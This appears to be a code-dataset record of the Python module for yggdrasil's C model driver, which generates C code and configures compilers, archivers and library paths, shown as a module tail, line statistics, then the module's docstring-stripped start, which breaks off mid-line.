super(CModelDriver, cls).prepare_output_variables( vars_list, in_definition=in_definition, in_inputs=in_inputs, for_yggdrasil=for_yggdrasil) @classmethod def write_print_output_var(cls, var, in_inputs=False, **kwargs): r"""Get the lines necessary to print an output variable in this language. Args: var (dict): Variable information. in_inputs (bool, optional): If True, the output variable is passed in as an input variable to be populated. Defaults to False. **kwargs: Additional keyword arguments are passed to write_print_var. Returns: list: Lines printing the specified variable. """ if in_inputs and (cls.language != 'c++'): if isinstance(var, dict): var = dict(var, name='%s[0]' % var['name']) else: var = '%s[0]' % var return super(CModelDriver, cls).write_print_output_var( var, in_inputs=in_inputs, **kwargs) @classmethod def write_function_def(cls, function_name, dont_add_lengths=False, use_length_prefix=False, **kwargs): r"""Write a function definition. Args: function_name (str): Name fo the function being defined. dont_add_lengths (bool, optional): If True, length variables are not added for arrays. Defaults to False. use_length_prefix (bool, optional): If True and length variables are added, they will be named using prefixes. Otherwise, suffixes will be used. Defaults to False. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: Lines completing the function call. Raises: ValueError: If outputs_in_inputs is not True and more than one output variable is specified. """ if not dont_add_lengths: for io in ['input', 'output']: if io + '_var' in kwargs: io_var = cls.parse_var_definition( io + 's', kwargs.pop(io + '_var')) else: io_var = kwargs.get(io + 's', []) for x in io_var: if use_length_prefix: v_length = 'length_' + x['name'] v_ndim = 'ndim_' + x['name'] v_shape = 'shape_' + x['name'] else: v_length = x['name'] + '_length' v_ndim = x['name'] + '_ndim' v_shape = x['name'] + '_shape' if x.get('is_length_var', False): continue if cls.requires_length_var(x): if not x.get('length_var', False): x['length_var'] = { 'name': v_length, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['length_var']) elif cls.requires_shape_var(x): if not x.get('ndim_var', False): x['ndim_var'] = { 'name': v_ndim, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['ndim_var']) if not x.get('shape_var', False): x['shape_var'] = { 'name': v_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'is_length_var': True} io_var.append(x['shape_var']) length_var = { 'name': v_length, 'datatype': {'type': 'uint', 'precision': 64}, 'is_length_var': True} kwargs['function_contents'] = ( cls.write_declaration(length_var) + kwargs.get('function_contents', [])) kwargs[io + 's'] = io_var output_type = None if kwargs.get('outputs_in_inputs', False): output_type = cls.get_native_type(datatype='flag') else: if 'output_var' in kwargs: kwargs['outputs'] = cls.parse_var_definition( 'outputs', kwargs.pop('output_var')) outputs = kwargs.get('outputs', []) nout = len(outputs) if nout == 0: output_type = 'void' elif nout == 1: output_type = cls.get_native_type(**(outputs[0])) else: # pragma: debug raise ValueError("C does not support more than one " "output variable.") kwargs['output_type'] = output_type return super(CModelDriver, cls).write_function_def( function_name, **kwargs) @classmethod def write_native_type_definition(cls, name, datatype, name_base=None, requires_freeing=None, no_decl=False, use_generic=False): r"""Get lines declaring the data type within the language. Args: name (str): Name of variable that definition should be stored in. datatype (dict): Type definition. requires_freeing (list, optional): List that variables requiring freeing should be appended to. Defaults to None. no_decl (bool, optional): If True, the variable is defined without declaring it (assumes that variable has already been declared). Defaults to False. use_generic (bool, optional): If True variables serialized and/or deserialized by the type will be assumed to be generic objects. Defaults to False. Returns: list: Lines required to define a type definition. """ out = [] fmt = None keys = {} if use_generic: keys['use_generic'] = 'true' else: keys['use_generic'] = 'false' typename = datatype['type'] if name_base is None: name_base = name if datatype['type'] == 'array': if 'items' in datatype: assert(isinstance(datatype['items'], list)) keys['nitems'] = len(datatype['items']) keys['items'] = '%s_items' % name_base fmt = ('create_dtype_json_array({nitems}, {items}, ' '{use_generic})') out += [('dtype_t** %s = ' '(dtype_t**)malloc(%d*sizeof(dtype_t*));') % (keys['items'], keys['nitems'])] for i, x in enumerate(datatype['items']): # Prevent recusion x_copy = copy.deepcopy(x) x_copy.pop('items', None) x_copy.pop('properties', None) out += cls.write_native_type_definition( '%s[%d]' % (keys['items'], i), x_copy, name_base=('%s_item%d' % (name_base, i)), requires_freeing=requires_freeing, no_decl=True, use_generic=use_generic) assert(isinstance(requires_freeing, list)) requires_freeing += [keys['items']] else: keys['use_generic'] = 'true' fmt = ('create_dtype_json_array(0, NULL, ' '{use_generic})') elif datatype['type'] == 'object': keys['use_generic'] = 'true' if 'properties' in datatype: assert(isinstance(datatype['properties'], dict)) keys['nitems'] = len(datatype['properties']) keys['keys'] = '%s_keys' % name_base keys['values'] = '%s_vals' % name_base fmt = ('create_dtype_json_object({nitems}, {keys}, ' '{values}, {use_generic})') out += [('dtype_t** %s = ' '(dtype_t**)malloc(%d*sizeof(dtype_t*));') % (keys['values'], keys['nitems']), ('char** %s = (char**)malloc(%d*sizeof(char*));') % (keys['keys'], keys['nitems'])] for i, (k, v) in enumerate(datatype['properties'].items()): # Prevent recusion v_copy = copy.deepcopy(v) v_copy.pop('items', None) v_copy.pop('properties', None) out += ['%s[%d] = \"%s\";' % (keys['keys'], i, k)] out += cls.write_native_type_definition( '%s[%d]' % (keys['values'], i), v_copy, name_base=('%s_prop%d' % (name_base, i)), requires_freeing=requires_freeing, no_decl=True, use_generic=use_generic) assert(isinstance(requires_freeing, list)) requires_freeing += [keys['values'], keys['keys']] else: fmt = ('create_dtype_json_object(0, NULL, NULL, ' '{use_generic})') elif datatype['type'] in ['ply', 'obj']: fmt = 'create_dtype_%s({use_generic})' % datatype['type'] elif datatype['type'] == '1darray': fmt = ('create_dtype_1darray(\"{subtype}\", {precision}, {length}, ' '\"{units}\", {use_generic})') for k in ['subtype', 'precision']: keys[k] = datatype[k] keys['length'] = datatype.get('length', '0') keys['units'] = datatype.get('units', '') elif datatype['type'] == 'ndarray': fmt = ('create_dtype_ndarray(\"{subtype}\", {precision},' ' {ndim}, {shape}, \"{units}\", {use_generic})') for k in ['subtype', 'precision']: keys[k] = datatype[k] if 'shape' in datatype: shape_var = '%s_shape' % name_base out += ['size_t %s[%d] = {%s};' % ( shape_var, len(datatype['shape']), ', '.join([str(s) for s in datatype['shape']]))] keys['ndim'] = len(datatype['shape']) keys['shape'] = shape_var fmt = fmt.replace('create_dtype_ndarray', 'create_dtype_ndarray_arr') else: keys['ndim'] = 0 keys['shape'] = 'NULL' keys['units'] = datatype.get('units', '') elif (typename == 'scalar') or (typename in _valid_types): fmt = ('create_dtype_scalar(\"{subtype}\", {precision}, ' '\"{units}\", {use_generic})') keys['subtype'] = datatype.get('subtype', datatype['type']) keys['units'] = datatype.get('units', '') if keys['subtype'] in ['bytes', 'string', 'unicode']: keys['precision'] = datatype.get('precision', 0) else: keys['precision'] = datatype['precision'] typename = 'scalar' elif datatype['type'] in ['boolean', 'null', 'number', 'integer', 'string']: fmt = 'create_dtype_default(\"{type}\", {use_generic})' keys['type'] = datatype['type'] elif (typename in ['class', 'function']): fmt = 'create_dtype_pyobj(\"{type}\", {use_generic})' keys['type'] = typename elif typename == 'instance': keys['use_generic'] = 'true' # fmt = 'create_dtype_pyinst(NULL, NULL)' fmt = 'create_dtype_empty({use_generic})' elif typename == 'schema': keys['use_generic'] = 'true' fmt = 'create_dtype_schema({use_generic})' elif typename == 'any': keys['use_generic'] = 'true' fmt = 'create_dtype_empty({use_generic})' else: # pragma: debug raise ValueError("Cannot create C version of type '%s'" % typename) def_line = '%s = %s;' % (name, fmt.format(**keys)) if not no_decl: def_line = 'dtype_t* ' + def_line out.append(def_line) return out @classmethod def write_channel_def(cls, key, datatype=None, requires_freeing=None, use_generic=False, **kwargs): r"""Write an channel declaration/definition. Args: key (str): Entry in cls.function_param that should be used. datatype (dict, optional): Data type associated with the channel. Defaults to None and is ignored. requires_freeing (list, optional): List that variables requiring freeing should be appended to. Defaults to None. use_generic (bool, optional): If True variables serialized and/or deserialized by the channel will be assumed to be generic objects. Defaults to False. **kwargs: Additional keyword arguments are passed as parameters to format_function_param. Returns: list: Lines required to declare and define an output channel. """ out = [] if (datatype is not None) and ('{channel_type}' in cls.function_param[key]): kwargs['channel_type'] = '%s_type' % kwargs['channel'] out += cls.write_native_type_definition( kwargs['channel_type'], datatype, requires_freeing=requires_freeing, use_generic=use_generic) out += super(CModelDriver, cls).write_channel_def(key, datatype=datatype, **kwargs) return out @classmethod def write_assign_to_output(cls, dst_var, src_var, outputs_in_inputs=False, dont_add_lengths=False, use_length_prefix=False, **kwargs): r"""Write lines assigning a value to an output variable. Args: dst_var (str, dict): Name or information dictionary for variable being assigned to. src_var (str, dict): Name or information dictionary for value being assigned to dst_var. outputs_in_inputs (bool, optional): If True, outputs are passed as input parameters. In some languages, this means that a pointer or reference is passed (e.g. C) and so the assignment should be to the memory indicated rather than the variable. Defaults to False. dont_add_lengths (bool, optional): If True, length variables are not added for arrays. Defaults to False. use_length_prefix (bool, optional): If True and length variables are added, they will be named using prefixes. Otherwise, suffixes will be used. Defaults to False. **kwargs: Additional keyword arguments are passed to the parent class's method. Returns: list: Lines achieving assignment. """ out = [] if cls.requires_length_var(dst_var): src_var_length = None dst_var_length = None if isinstance(src_var, dict): src_var_length = src_var.get('length_var', None) if isinstance(dst_var, dict): dst_var_length = dst_var.get('length_var', None) if not dont_add_lengths: if src_var_length is None: if use_length_prefix: src_var_length = 'length_' + src_var['name'] else: src_var_length = src_var['name'] + '_length' if dst_var_length is None: if use_length_prefix: dst_var_length = 'length_' + dst_var['name'] else: dst_var_length = dst_var['name'] + '_length' out += cls.write_assign_to_output( dst_var_length, src_var_length, outputs_in_inputs=outputs_in_inputs) elif src_var_length is None: if ((dst_var['datatype']['type'] in ['1darray', 'ndarray'])): # pragma: debug raise RuntimeError("Length must be set in order " "to write array assignments.") elif (dst_var['datatype'].get('subtype', dst_var['datatype']['type']) in ['bytes']): src_var_length = '(strlen(%s)+1)' % src_var['name'] else: src_var_length = '(strlen4(%s)+1)' % src_var['name'] src_var_dtype = cls.get_native_type(**src_var) if src_var_dtype in ['bytes_t', 'unicode_t', 'string_t']: src_var_dtype = 'char*' src_var_dtype = src_var_dtype.rsplit('*', 1)[0] out += cls.write_assign_to_output( dst_var['name'], 'value', outputs_in_inputs=outputs_in_inputs, replacement=('{name} = ({native_type}*)realloc({name}, ' '{N}*sizeof({native_type}));'), native_type=src_var_dtype, N=src_var_length) kwargs.update(copy=True, native_type=src_var_dtype, N=src_var_length) elif cls.requires_shape_var(dst_var): if dont_add_lengths: # pragma: debug raise RuntimeError("Shape must be set in order " "to write ND array assignments.") # Dimensions src_var_ndim = None dst_var_ndim = None if isinstance(src_var, dict): src_var_ndim = src_var.get('ndim_var', None) if isinstance(dst_var, dict): dst_var_ndim = dst_var.get('ndim_var', None) if src_var_ndim is None: if use_length_prefix: src_var_ndim = 'ndim_' + src_var['name'] else: src_var_ndim = src_var['name'] + '_ndim' if dst_var_ndim is None: if use_length_prefix: dst_var_ndim = 'ndim_' + dst_var['name'] else: dst_var_ndim = dst_var['name'] + '_ndim' if isinstance(src_var_ndim, str): src_var_ndim = {'name': src_var_ndim, 'datatype': {'type': 'uint', 'precision': 64}} if isinstance(dst_var_ndim, str): dst_var_ndim = {'name': dst_var_ndim, 'datatype': {'type': 'uint', 'precision': 64}} out += cls.write_assign_to_output( dst_var_ndim, src_var_ndim, outputs_in_inputs=outputs_in_inputs) # Shape src_var_shape = None dst_var_shape = None if isinstance(src_var, dict): src_var_shape = src_var.get('shape_var', None) if isinstance(dst_var, dict): dst_var_shape = dst_var.get('shape_var', None) if src_var_shape is None: if use_length_prefix: src_var_shape = 'shape_' + src_var['name'] else: src_var_shape = src_var['name'] + '_shape' if dst_var_shape is None: if use_length_prefix: dst_var_shape = 'shape_' + dst_var['name'] else: dst_var_shape = dst_var['name'] + '_shape' if isinstance(src_var_shape, str): src_var_shape = {'name': src_var_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'length_var': src_var_ndim['name']} if isinstance(dst_var_shape, str): dst_var_shape = {'name': dst_var_shape, 'datatype': {'type': '1darray', 'subtype': 'uint', 'precision': 64}, 'length_var': dst_var_ndim['name']} out += cls.write_assign_to_output( dst_var_shape, src_var_shape, outputs_in_inputs=outputs_in_inputs, dont_add_lengths=True) src_var_dtype = cls.get_native_type(**src_var).rsplit('*', 1)[0] if use_length_prefix: src_var_length = 'length_' + src_var['name'] else: src_var_length = src_var['name'] + '_length' out += (('{length} = 1;\n' 'size_t cdim;\n' 'for (cdim = 0; cdim < {ndim}; cdim++) {{\n' ' {length} = {length}*{shape}[cdim];\n' '}}\n').format(length=src_var_length, ndim=src_var_ndim['name'], shape=src_var_shape['name'])).splitlines() out += cls.write_assign_to_output( dst_var['name'], 'value', outputs_in_inputs=outputs_in_inputs, replacement=('{name} = ({native_type}*)realloc({name}, ' '{N}*sizeof({native_type}));'), native_type=src_var_dtype, N=src_var_length) kwargs.update(copy=True, native_type=src_var_dtype, N=src_var_length) elif isinstance(dst_var, dict): if 'shape' in dst_var.get('datatype', {}): nele = 1 for s in dst_var['datatype']['shape']: nele *= s kwargs.update(copy=True, N=nele, native_type=dst_var['datatype']['subtype']) elif 'length' in dst_var.get('datatype', {}): kwargs.update(copy=True, N=dst_var['datatype']['length'], native_type=dst_var['datatype']['subtype']) if outputs_in_inputs and (cls.language != 'c++'): if isinstance(dst_var, dict): dst_var = dict(dst_var, name='%s[0]' % dst_var['name']) else: dst_var = '%s[0]' % dst_var if ((outputs_in_inputs and isinstance(dst_var, dict) and isinstance(dst_var['datatype'], dict) and ('copy_' + dst_var['datatype']['type'] in cls.function_param))): kwargs['copy'] = True out += super(CModelDriver, cls).write_assign_to_output( dst_var, src_var, outputs_in_inputs=outputs_in_inputs, **kwargs) return out
44.173256
89
0.514175
import os import re import warnings import copy import shutil import subprocess import numpy as np import sysconfig from collections import OrderedDict from yggdrasil import platform, tools from yggdrasil.drivers.CompiledModelDriver import ( CompiledModelDriver, CompilerBase, ArchiverBase) from yggdrasil.metaschema.properties.ScalarMetaschemaProperties import ( _valid_types) from yggdrasil.languages import get_language_dir from yggdrasil.config import ygg_cfg from numpy import distutils as numpy_distutils _default_internal_libtype = 'object' YSROOT(): fname = None if platform._is_mac: try: xcode_dir = subprocess.check_output( 'echo "$(xcode-select -p)"', shell=True).decode("utf-8").strip() except BaseException: xcode_dir = None fname_try = [] cfg_sdkroot = ygg_cfg.get('c', 'macos_sdkroot', None) if cfg_sdkroot: fname_try.append(cfg_sdkroot) if xcode_dir is not None: fname_base = os.path.join(xcode_dir, 'Platforms', 'MacOSX.platform', 'Developer', 'SDKs', 'MacOSX%s.sdk') fname_try += [ fname_base % os.environ.get('MACOSX_DEPLOYMENT_TARGET', ''), fname_base % '', os.path.join(xcode_dir, 'SDKs', 'MacOSX.sdk')] if os.environ.get('SDKROOT', False): fname_try.insert(0, os.environ['SDKROOT']) for fcheck in fname_try: if os.path.isdir(fcheck): fname = fcheck break return fname _osx_sysroot = get_OSX_SYSROOT() class CCompilerBase(CompilerBase): languages = ['c'] default_executable_env = 'CC' default_flags_env = 'CFLAGS' default_flags = ['-g', '-Wall'] linker_attributes = {'default_flags_env': 'LDFLAGS', 'search_path_envvar': ['LIBRARY_PATH', 'LD_LIBRARY_PATH']} search_path_envvar = ['C_INCLUDE_PATH'] search_path_flags = ['-E', '-v', '-xc', '/dev/null'] search_regex_begin = '#include "..." search starts here:' search_regex_end = 'End of search list.' search_regex = [r'(?:#include <...> search starts here:)|' r'(?: ([^\n]+?)(?: \(framework directory\))?)\n'] @staticmethod def before_registration(cls): if platform._is_mac: cls.linker_attributes = dict(cls.linker_attributes, search_path_flags=['-Xlinker', '-v'], search_regex=[r'\t([^\t\n]+)\n'], search_regex_begin='Library search paths:') elif platform._is_linux: cls.linker_attributes = dict(cls.linker_attributes, search_path_flags=['-Xlinker', '--verbose'], search_regex=[r'SEARCH_DIR\("=([^"]+)"\);']) CompilerBase.before_registration(cls) @classmethod def set_env(cls, *args, **kwargs): out = super(CCompilerBase, cls).set_env(*args, **kwargs) if _osx_sysroot is not None: out['CONDA_BUILD_SYSROOT'] = _osx_sysroot out['SDKROOT'] = _osx_sysroot grp = re.search(r'MacOSX(?P<target>[0-9]+\.[0-9]+)?', _osx_sysroot).groupdict() # This is only utilized on local installs where a # non-default SDK is installed in addition to the default if grp['target']: # pragma: debug out['MACOSX_DEPLOYMENT_TARGET'] = grp['target'] return out @classmethod def call(cls, args, **kwargs): if not kwargs.get('dont_link', False): kwargs.setdefault('linker_language', 'c++') return super(CCompilerBase, cls).call(args, **kwargs) class GCCCompiler(CCompilerBase): toolname = 'gcc' platforms = ['MacOS', 'Linux', 'Windows'] default_archiver = 'ar' class ClangCompiler(CCompilerBase): toolname = 'clang' platforms = ['MacOS'] default_archiver = 'libtool' flag_options = OrderedDict(list(CCompilerBase.flag_options.items()) + [('sysroot', '--sysroot'), ('isysroot', {'key': '-isysroot', 'prepend': True}), ('mmacosx-version-min', '-mmacosx-version-min=%s')]) class MSVCCompiler(CCompilerBase): toolname = 'cl' languages = ['c', 'c++'] platforms = ['Windows'] default_flags_env = ['CFLAGS', 'CXXFLAGS'] # TODO: Currently everything compiled as C++ on windows to allow use # of complex types. Use '/TC' instead of '/TP' for strictly C default_flags = ['/W4', # Display all errors '/Zi', # Symbolic debug in .pdb (implies debug) # '/MTd', # Use LIBCMTD.lib to create multithreaded .exe # '/Z7', # Symbolic debug in .obj (implies debug) "/EHsc", # Catch C++ exceptions only (C don't throw C++) '/TP', # Treat all files as C++ "/nologo", # Suppress startup banner # Don't show errors from using scanf, strcpy, etc. "-D_CRT_SECURE_NO_WARNINGS"] output_key = '/Fo%s' output_first = True default_linker = 'LINK' default_archiver = 'LIB' linker_switch = '/link' search_path_envvar = 'INCLUDE' search_path_flags = None version_flags = [] product_exts = ['.dir', '.ilk', '.pdb', '.sln', '.vcxproj', '.vcxproj.filters'] combine_with_linker = True # Must be explicit; linker is separate .exe linker_attributes = dict(GCCCompiler.linker_attributes, default_executable=None, default_executable_env=None, default_flags_env=None, output_key='/OUT:%s', output_first=True, output_first_library=False, flag_options=OrderedDict( [('library_libs', ''), ('library_dirs', '/LIBPATH:%s')]), shared_library_flag='/DLL', search_path_envvar='LIB', search_path_flags=None) @classmethod def language_version(cls, **kwargs): # pragma: windows out = cls.call(cls.version_flags, skip_flags=True, allow_error=True, **kwargs) if 'Copyright' not in out: # pragma: debug raise RuntimeError("Version call failed: %s" % out) return out.split('Copyright')[0] # C Archivers class ARArchiver(ArchiverBase): toolname = 'ar' languages = ['c', 'c++'] default_executable_env = 'AR' default_flags_env = None static_library_flag = 'rcs' output_key = '' output_first_library = True class LibtoolArchiver(ArchiverBase): toolname = 'libtool' languages = ['c', 'c++'] default_executable_env = 'LIBTOOL' static_library_flag = '-static' # This is the default class MSVCArchiver(ArchiverBase): toolname = 'LIB' languages = ['c', 'c++'] platforms = ['Windows'] static_library_flag = None output_key = '/OUT:%s' _top_lang_dir = get_language_dir('c') _incl_interface = _top_lang_dir _incl_seri = os.path.join(_top_lang_dir, 'serialize') _incl_comm = os.path.join(_top_lang_dir, 'communication') _python_inc = ygg_cfg.get('c', 'python_include', None) if (_python_inc is None) or (not os.path.isfile(_python_inc)): # pragma: no cover _python_inc = sysconfig.get_paths()['include'] else: _python_inc = os.path.dirname(_python_inc) try: _python_lib = ygg_cfg.get('c', 'python_shared', ygg_cfg.get('c', 'python_static', None)) if (_python_lib is None) or (not os.path.isfile(_python_lib)): # pragma: no cover _python_lib = tools.get_python_c_library(allow_failure=False) except BaseException: # pragma: debug warnings.warn("ERROR LOCATING PYTHON LIBRARY") _python_lib = None _numpy_inc = numpy_distutils.misc_util.get_numpy_include_dirs() _numpy_lib = None class CModelDriver(CompiledModelDriver): _schema_subtype_description = ('Model is written in C.') language = 'c' language_ext = ['.c', '.h'] interface_library = 'ygg' supported_comms = ['ipc', 'zmq'] supported_comm_options = { 'ipc': {'platforms': ['MacOS', 'Linux']}, 'zmq': {'libraries': ['zmq', 'czmq']}} interface_dependencies = ['rapidjson'] interface_directories = [_incl_interface] external_libraries = { 'rapidjson': {'include': os.path.join(os.path.dirname(tools.__file__), 'rapidjson', 'include', 'rapidjson', 'rapidjson.h'), 'libtype': 'header_only', 'language': 'c'}, 'zmq': {'include': 'zmq.h', 'libtype': 'shared', 'language': 'c'}, 'czmq': {'include': 'czmq.h', 'libtype': 'shared', 'language': 'c'}, 'numpy': {'include': os.path.join(_numpy_inc[0], 'numpy', 'arrayobject.h'), 'libtype': 'header_only', 'language': 'c'}, 'python': {'include': os.path.join(_python_inc, 'Python.h'), 'language': 'c'}} internal_libraries = { 'ygg': {'source': os.path.join(_incl_interface, 'YggInterface.c'), 'linker_language': 'c++', # Some dependencies are C++ 'internal_dependencies': ['regex', 'datatypes'], 'external_dependencies': ['rapidjson', 'python', 'numpy'], 'include_dirs': [_incl_comm, _incl_seri], 'compiler_flags': []}, 'regex_win32': {'source': 'regex_win32.cpp', 'directory': os.path.join(_top_lang_dir, 'regex'), 'language': 'c++', 'libtype': _default_internal_libtype, 'internal_dependencies': [], 'external_dependencies': []}, 'regex_posix': {'source': 'regex_posix.h', 'directory': os.path.join(_top_lang_dir, 'regex'), 'language': 'c', 'libtype': 'header_only', 'internal_dependencies': [], 'external_dependencies': []}, 'datatypes': {'directory': os.path.join(_top_lang_dir, 'datatypes'), 'language': 'c++', 'libtype': _default_internal_libtype, 'internal_dependencies': ['regex'], 'external_dependencies': ['rapidjson', 'python', 'numpy'], 'include_dirs': []}} type_map = { 'int': 'intX_t', 'float': 'double', 'string': 'string_t', 'array': 'json_array_t', 'object': 'json_object_t', 'boolean': 'bool', 'null': 'void*', 'uint': 'uintX_t', 'complex': 'complex_X', 'bytes': 'char*', 'unicode': 'unicode_t', '1darray': '*', 'ndarray': '*', 'ply': 'ply_t', 'obj': 'obj_t', 'schema': 'schema_t', 'flag': 'int', 'class': 'python_class_t', 'function': 'python_function_t', 'instance': 'python_instance_t', 'any': 'generic_t'} function_param = { 'import': '#include \"{filename}\"', 'index': '{variable}[{index}]', 'interface': '#include \"{interface_library}\"', 'input': ('yggInput_t {channel} = yggInputType(' '\"{channel_name}\", {channel_type});'), 'output': ('yggOutput_t {channel} = yggOutputType(' '\"{channel_name}\", {channel_type});'), 'recv_heap': 'yggRecvRealloc', 'recv_stack': 'yggRecv', 'recv_function': 'yggRecvRealloc', 'send_function': 'yggSend', 'not_flag_cond': '{flag_var} < 0', 'flag_cond': '{flag_var} >= 0', 'declare': '{type_name} {variable};', 'init_array': 'init_json_array()', 'init_object': 'init_json_object()', 'init_schema': 'init_schema()', 'init_ply': 'init_ply()', 'init_obj': 'init_obj()', 'init_class': 'init_python()', 'init_function': 'init_python()', 'init_instance': 'init_generic()', 'init_any': 'init_generic()', 'copy_array': '{name} = copy_json_array({value});', 'copy_object': '{name} = copy_json_object({value});', 'copy_schema': '{name} = copy_schema({value});', 'copy_ply': '{name} = copy_ply({value});', 'copy_obj': '{name} = copy_obj({value});', 'copy_class': '{name} = copy_python({value});', 'copy_function': '{name} = copy_python({value});', 'copy_instance': '{name} = copy_generic({value});', 'copy_any': '{name} = copy_generic({value});', 'free_array': 'free_json_array({variable});', 'free_object': 'free_json_object({variable});', 'free_schema': 'free_schema({variable});', 'free_ply': 'free_ply({variable});', 'free_obj': 'free_obj({variable});', 'free_class': 'destroy_python({variable});', 'free_function': 'destroy_python({variable});', 'free_instance': 'free_generic({variable});', 'free_any': 'free_generic({variable});', 'print_float': 'printf("%f\\n", {object});', 'print_int': 'printf("%i\\n", {object});', 'print_uint': 'printf("%u\\n", {object});', 'print_string': 'printf("%s\\n", {object});', 'print_unicode': 'printf("%s\\n", {object});', 'print_bytes': 'printf("%s\\n", {object});', 'print_complex': 'print_complex({object});', 'print_array': 'display_json_array({object});', 'print_object': 'display_json_object({object});', 'print_schema': 'display_schema({object});', 'print_ply': 'display_ply({object});', 'print_obj': 'display_obj({object});', 'print_class': 'display_python({object});', 'print_function': 'display_python({object});', 'print_instance': 'display_generic({object});', 'print_any': 'display_generic({object});', 'assign': '{name} = {value};', 'assign_copy': 'memcpy({name}, {value}, {N}*sizeof({native_type}));', 'comment': '//', 'true': '1', 'false': '0', 'not': '!', 'and': '&&', 'indent': 2 * ' ', 'quote': '\"', 'print': 'printf(\"{message}\\n\");', 'fprintf': 'printf(\"{message}\\n\", {variables});', 'error': 'printf(\"{error_msg}\\n\"); return -1;', 'block_end': '}', 'line_end': ';', 'if_begin': 'if ({cond}) {{', 'if_elif': '}} else if ({cond}) {{', 'if_else': '}} else {{', 'for_begin': ('for ({iter_var} = {iter_begin}; {iter_var} < {iter_end}; ' '{iter_var}++) {{'), 'while_begin': 'while ({cond}) {{', 'break': 'break;', 'exec_begin': 'int main() {', 'exec_end': ' return 0;\n}', 'exec_prefix': '#include <stdbool.h>', 'free': 'if ({variable} != NULL) {{ free({variable}); {variable} = NULL; }}', 'function_def_begin': '{output_type} {function_name}({input_var}) {{', 'return': 'return {output_var};', 'function_def_regex': ( r'(?P<flag_type>.+?)\s*{function_name}\s*' r'\((?P<inputs>(?:[^{{])*?)\)\s*\{{' r'(?P<body>(?:.*?\n?)*?)' r'(?:(?:return *(?P<flag_var>.+?)?;(?:.*?\n?)*?\}})' r'|(?:\}}))'), 'inputs_def_regex': ( r'\s*(?P<native_type>(?:[^\s\*])+(\s+)?' r'(?P<ptr>\*+)?)(?(ptr)(?(1)(?:\s*)|(?:\s+)))' r'(\((?P<name_ptr>\*+)?)?(?P<name>.+?)(?(4)(?:\)))' r'(?P<shape>(?:\[.+?\])+)?\s*(?:,|$)(?:\n)?'), 'outputs_def_regex': ( r'\s*(?P<native_type>(?:[^\s\*])+(\s+)?' r'(?P<ptr>\*+)?)(?(ptr)(?(1)(?:\s*)|(?:\s+)))' r'(?P<name>.+?)(?P<shape>(?:\[.+?\])+)?\s*(?:,|$)(?:\n)?')} outputs_in_inputs = True include_channel_obj = True is_typed = True brackets = (r'{', r'}') @staticmethod def after_registration(cls, **kwargs): if cls.default_compiler is None: if platform._is_linux: cls.default_compiler = 'gcc' elif platform._is_mac: cls.default_compiler = 'clang' elif platform._is_win: cls.default_compiler = 'cl' CompiledModelDriver.after_registration(cls, **kwargs) if kwargs.get('second_pass', False): return if _python_lib: if _python_lib.endswith(('.lib', '.a')): cls.external_libraries['python']['libtype'] = 'static' cls.external_libraries['python']['static'] = _python_lib else: cls.external_libraries['python']['libtype'] = 'shared' cls.external_libraries['python']['shared'] = _python_lib for x in ['zmq', 'czmq']: if x in cls.external_libraries: if platform._is_win: cls.external_libraries[x]['libtype'] = 'static' if platform._is_win: regex_lib = cls.internal_libraries['regex_win32'] else: regex_lib = cls.internal_libraries['regex_posix'] cls.internal_libraries['regex'] = regex_lib cls.internal_libraries['ygg']['include_dirs'] += [_top_lang_dir] if platform._is_win: stdint_win = os.path.join(_top_lang_dir, 'windows_stdint.h') assert(os.path.isfile(stdint_win)) shutil.copy(stdint_win, os.path.join(_top_lang_dir, 'stdint.h')) cls.internal_libraries['datatypes']['include_dirs'] += [_top_lang_dir] if platform._is_linux: for x in ['ygg', 'datatypes']: if 'compiler_flags' not in cls.internal_libraries[x]: cls.internal_libraries[x]['compiler_flags'] = [] if '-fPIC' not in cls.internal_libraries[x]['compiler_flags']: cls.internal_libraries[x]['compiler_flags'].append('-fPIC') @classmethod def configure(cls, cfg, macos_sdkroot=None): # in after_registration where this is called out = CompiledModelDriver.configure.__func__(cls, cfg) # Change configuration to be directory containing include files rjlib = cfg.get(cls._language, 'rapidjson_include', None) if (rjlib is not None) and os.path.isfile(rjlib): cfg.set(cls._language, 'rapidjson_include', os.path.dirname(os.path.dirname(rjlib))) nplib = cfg.get(cls._language, 'numpy_include', None) if (nplib is not None) and os.path.isfile(nplib): cfg.set(cls._language, 'numpy_include', os.path.dirname(os.path.dirname(nplib))) if macos_sdkroot is None: macos_sdkroot = _osx_sysroot if macos_sdkroot is not None: if not os.path.isdir(macos_sdkroot): # pragma: debug raise ValueError("Path to MacOS SDK root directory " "does not exist: %s." % macos_sdkroot) cfg.set(cls._language, 'macos_sdkroot', macos_sdkroot) return out @classmethod def call_linker(cls, obj, language=None, **kwargs): if (((cls.language == 'c') and (language is None) and kwargs.get('for_model', False) and (not kwargs.get('skip_interface_flags', False)))): language = 'c++' kwargs.update(cls.update_linker_kwargs(**kwargs)) kwargs['skip_interface_flags'] = True return super(CModelDriver, cls).call_linker(obj, language=language, **kwargs) @classmethod def update_ld_library_path(cls, env, paths_to_add=None, add_to_front=False): if paths_to_add is None: paths_to_add = [cls.get_language_dir()] if platform._is_linux: path_list = [] prev_path = env.pop('LD_LIBRARY_PATH', '') if prev_path: path_list.append(prev_path) for x in paths_to_add: if x not in prev_path: if add_to_front: path_list.insert(0, x) else: path_list.append(x) if path_list: env['LD_LIBRARY_PATH'] = os.pathsep.join(path_list) return env def set_env(self, **kwargs): out = super(CModelDriver, self).set_env(**kwargs) out = self.update_ld_library_path(out) if platform._is_win: # pragma: windows out.setdefault('PYTHONHOME', sysconfig.get_config_var('prefix')) out.setdefault('PYTHONPATH', os.pathsep.join([ sysconfig.get_path('stdlib'), sysconfig.get_path('purelib'), os.path.join(sysconfig.get_config_var('prefix'), 'DLLs')])) return out @classmethod def parse_var_definition(cls, io, value, **kwargs): out = super(CModelDriver, cls).parse_var_definition(io, value, **kwargs) io_map = {x['name']: x for x in out} for i, x in enumerate(out): if (x['name'] + '_length') in io_map: x['length_var'] = x['name'] + '_length' elif ('length_' + x['name']) in io_map: x['length_var'] = 'length_' + x['name'] elif (((x['name'] + '_ndim') in io_map) and ((x['name'] + '_shape') in io_map)): x['ndim_var'] = x['name'] + '_ndim' x['shape_var'] = x['name'] + '_shape' x['datatype']['type'] = 'ndarray' elif ((('ndim_' + x['name']) in io_map) and 